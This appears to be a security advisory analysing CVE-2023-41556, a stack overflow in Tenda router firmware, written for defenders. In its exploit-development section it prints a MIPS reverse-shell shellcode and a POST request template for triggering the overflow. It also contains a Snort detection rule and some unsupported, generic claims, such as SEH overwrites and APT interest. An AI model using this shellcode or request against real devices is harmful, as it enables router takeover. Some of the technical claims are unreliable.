Description
Tenda AC7 V1.0 V15.03.06.44, Tenda AC9 V3.0 V15.03.06.42_multi, and Tenda AC5 V1.0RTL_V15.03.06.28 were discovered to contain a stack overflow via parameter list at url /goform/SetIpMacBind.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-46053 (CVE-2023-41556)
Vulnerability: Stack Overflow in Tenda Router Firmware via /goform/SetIpMacBind
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2023-46053 (CVE-2023-41556) is a critical stack-based buffer overflow vulnerability in multiple Tenda router models. The flaw resides in the /goform/SetIpMacBind HTTP endpoint, where improper bounds checking on user-supplied input in the list parameter allows an attacker to overwrite the stack, leading to arbitrary code execution (ACE) or denial-of-service (DoS).
CVSS v3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability. |
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network without authentication. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No prior authentication needed. |
| User Interaction (UI) | None (N) | Exploitable without user interaction. |
| Scope (S) | Unchanged (U) | Exploit affects only the vulnerable component (router firmware). |
| Confidentiality (C) | High (H) | Successful exploitation grants full system access. |
| Integrity (I) | High (H) | Attacker can modify system configurations or inject malicious code. |
| Availability (A) | High (H) | Exploitation can crash the device or render it inoperable. |
Risk Assessment
- Exploitability: High (public PoC available, low complexity)
- Impact: Critical (full system compromise, persistence, lateral movement)
- Likelihood of Exploitation: High (routers are prime targets for botnets, APTs, and cybercriminals)
- Mitigation Difficulty: Medium (requires firmware updates; some devices may lack vendor support)
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanism
-
Unauthenticated Remote Exploitation
- The vulnerability is triggered by sending a maliciously crafted HTTP POST request to
/goform/SetIpMacBindwith an oversizedlistparameter. - The
listparameter is expected to contain IP-MAC binding entries, but the firmware fails to validate its length, leading to a stack overflow.
- The vulnerability is triggered by sending a maliciously crafted HTTP POST request to
-
Proof-of-Concept (PoC) Analysis
- The referenced GitHub repository (peris-navince/founded-0-days) contains a PoC demonstrating:
- Stack corruption via controlled input.
- Return Address Overwrite (if ASLR is disabled or bypassed).
- Arbitrary Code Execution (if DEP/NX is not enforced).
- Example exploit structure:
POST /goform/SetIpMacBind HTTP/1.1 Host: <TARGET_IP> Content-Type: application/x-www-form-urlencoded Content-Length: <LENGTH> list=<MALICIOUS_PAYLOAD>&enable=1 - The payload may include:
- Shellcode (e.g., reverse shell, firmware modification).
- ROP chains (if DEP is enabled).
- DoS payloads (e.g.,
0x41414141to crash the service).
- The referenced GitHub repository (peris-navince/founded-0-days) contains a PoC demonstrating:
-
Post-Exploitation Scenarios
- Botnet Recruitment: Infected routers can be enslaved in Mirai-like botnets for DDoS attacks.
- Credential Theft: Attackers may extract stored Wi-Fi passwords, admin credentials, or VPN configurations.
- Lateral Movement: Compromised routers can serve as pivot points into internal networks.
- Persistent Backdoors: Malicious firmware modifications can survive reboots.
3. Affected Systems & Software Versions
Vulnerable Devices
| Model | Firmware Version | Notes |
|---|---|---|
| Tenda AC7 | V1.0 V15.03.06.44 | Confirmed vulnerable |
| Tenda AC9 | V3.0 V15.03.06.42_multi | Confirmed vulnerable |
| Tenda AC5 | V1.0 RTL_V15.03.06.28 | Confirmed vulnerable |
Scope of Impact
- Consumer & SOHO Networks: Tenda routers are widely deployed in home and small business environments.
- Geographical Distribution: High prevalence in Europe (EU/EEA), particularly in Germany, France, Italy, and Eastern Europe.
- End-of-Life (EOL) Risk: Some affected models may no longer receive firmware updates, increasing long-term risk.
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patches
- Check Tenda’s official website for firmware updates (if available).
- If no patch exists, consider replacing the device with a supported model.
-
Network-Level Protections
- Firewall Rules: Block external access to
/goform/SetIpMacBind(TCP port 80/443). - Intrusion Prevention Systems (IPS):
- Deploy Snort/Suricata rules to detect exploit attempts:
alert tcp any any -> $HOME_NET 80 (msg:"Tenda Router Stack Overflow Exploit Attempt"; flow:to_server,established; content:"/goform/SetIpMacBind"; nocase; content:"list="; nocase; pcre:"/list=[^\x26]{1000,}/"; sid:1000001; rev:1;)
- Deploy Snort/Suricata rules to detect exploit attempts:
- Segmentation: Isolate vulnerable routers from critical internal networks.
- Firewall Rules: Block external access to
-
Device-Level Hardening
- Disable Remote Management: Restrict admin access to LAN-only.
- Change Default Credentials: Use strong, unique passwords.
- Disable Unused Services: Turn off UPnP, WPS, and Telnet/SSH if not needed.
-
Monitoring & Detection
- Log Analysis: Monitor for unusual HTTP POST requests to
/goform/SetIpMacBind. - Anomaly Detection: Use SIEM tools (e.g., Splunk, ELK) to detect exploit attempts.
- Firmware Integrity Checks: Verify hashes of firmware updates before installation.
- Log Analysis: Monitor for unusual HTTP POST requests to
Long-Term Recommendations
- Vendor Engagement: Pressure Tenda to release patches for EOL devices.
- Alternative Firmware: Consider OpenWRT/DD-WRT for supported models.
- Automated Vulnerability Scanning: Use tools like Nessus, OpenVAS, or Nuclei to detect vulnerable devices.
- User Awareness: Educate end-users on router security best practices.
5. Impact on the European Cybersecurity Landscape
Strategic & Operational Risks
-
Botnet Proliferation
- Vulnerable Tenda routers are prime targets for Mirai, Mozi, or Gafgyt botnets.
- DDoS Attacks: Compromised devices can be weaponized against European critical infrastructure (e.g., financial services, government networks).
-
Supply Chain Risks
- Many European ISPs distribute Tenda routers as part of bundled packages, increasing the attack surface.
- Third-Party Vendors: Managed service providers (MSPs) using Tenda devices may unknowingly expose clients to risk.
-
Regulatory & Compliance Implications
- NIS2 Directive: EU organizations must ensure network device security; unpatched routers may violate compliance.
- GDPR: If compromised routers lead to data breaches, organizations may face fines up to 4% of global revenue.
- ENISA Guidelines: Failure to mitigate known vulnerabilities may result in audit failures.
-
Geopolitical Threat Actors
- APT Groups: State-sponsored actors (e.g., APT29, Sandworm) may exploit these flaws for espionage or sabotage.
- Cybercriminals: Ransomware groups may use compromised routers as initial access vectors.
Mitigation Challenges in Europe
- Fragmented Patch Management: Many SOHO users lack technical expertise to update firmware.
- EOL Device Prevalence: Older Tenda models remain in use due to cost constraints.
- Cross-Border Exploitation: Attackers can target routers across EU member states with minimal attribution risk.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Function: The
SetIpMacBindhandler in the HTTP server (httpd) does not validate the length of thelistparameter. - Stack Layout: The overflow occurs in a fixed-size buffer on the stack, allowing:
- EIP/RIP Overwrite (if ASLR is disabled).
- SEH Overwrite (on Windows-based firmware, if applicable).
- Return-Oriented Programming (ROP) (if DEP is enabled).
Exploit Development Considerations
-
Memory Layout & Protections
- ASLR: Likely disabled (common in embedded devices).
- DEP/NX: May be disabled (check via
cat /proc/cpuinfoor firmware analysis). - Stack Canaries: Unlikely (embedded systems often omit them for performance).
-
Payload Construction
- MIPS/ARM Shellcode: Most Tenda routers use MIPS or ARM architectures.
- Reverse Shell Example (MIPS):
// MIPS reverse shell (adjust IP/PORT) unsigned char shellcode[] = "\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd" "\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff" "\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0" "\x3c\x0e\x7f\x00\x35\xce\x01\x01\xaf\xae\xff\xe4\x3c\x0e\x01\x02" "\x35\xce\x01\x02\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef" "\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c"; - ROP Chains: If DEP is enabled, construct a ROP chain to bypass NX.
-
Firmware Analysis
- Extract Firmware: Use
binwalkorFirmware Mod Kitto unpack the firmware. - Binary Analysis: Reverse-engineer
httpdwith Ghidra/IDA Pro to identify:- Buffer size.
- Function prologue/epilogue.
- Potential ROP gadgets.
- Dynamic Analysis: Use QEMU to emulate the firmware and debug the exploit.
- Extract Firmware: Use
Detection & Forensics
-
Indicators of Compromise (IoCs)
- Network Signatures:
- Unusual HTTP POST requests to
/goform/SetIpMacBindwith largelistparameters. - Outbound connections to C2 servers (e.g., Mirai botnet IPs).
- Unusual HTTP POST requests to
- Host-Based Signatures:
- Modified
/etc/passwdor/etc/shadow. - Unauthorized processes (e.g.,
telnetd,wgetfetching malware). - Persistent cron jobs or startup scripts.
- Modified
- Network Signatures:
-
Forensic Artifacts
- Logs: Check
/var/log/httpd.logor/tmp/logfor exploit attempts. - Memory Analysis: Use Volatility (if memory dump is available) to detect injected shellcode.
- File System Analysis: Look for modified firmware or backdoor binaries.
- Logs: Check
Conclusion & Recommendations
EUVD-2023-46053 (CVE-2023-41556) represents a critical risk to European networks due to its remote, unauthenticated exploitability and high impact. Given the public availability of PoC exploits, organizations must prioritize patching, network segmentation, and monitoring to prevent large-scale botnet infections or targeted attacks.
Key Takeaways for Security Teams
✅ Patch Immediately: Apply vendor updates or replace unsupported devices.
✅ Isolate Vulnerable Devices: Restrict access to /goform/SetIpMacBind.
✅ Monitor for Exploitation: Deploy IPS rules and SIEM alerts.
✅ Educate End-Users: Raise awareness about router security best practices.
✅ Engage with ENISA & CERTs: Report incidents to national cybersecurity authorities.
Further Research
- Firmware Reverse Engineering: Analyze Tenda’s
httpdbinary for additional vulnerabilities. - Botnet Tracking: Monitor for new Mirai variants targeting Tenda devices.
- Regulatory Compliance: Ensure alignment with NIS2, GDPR, and ENISA guidelines.
By taking proactive measures, organizations can mitigate the risk posed by this vulnerability and strengthen their overall cybersecurity posture.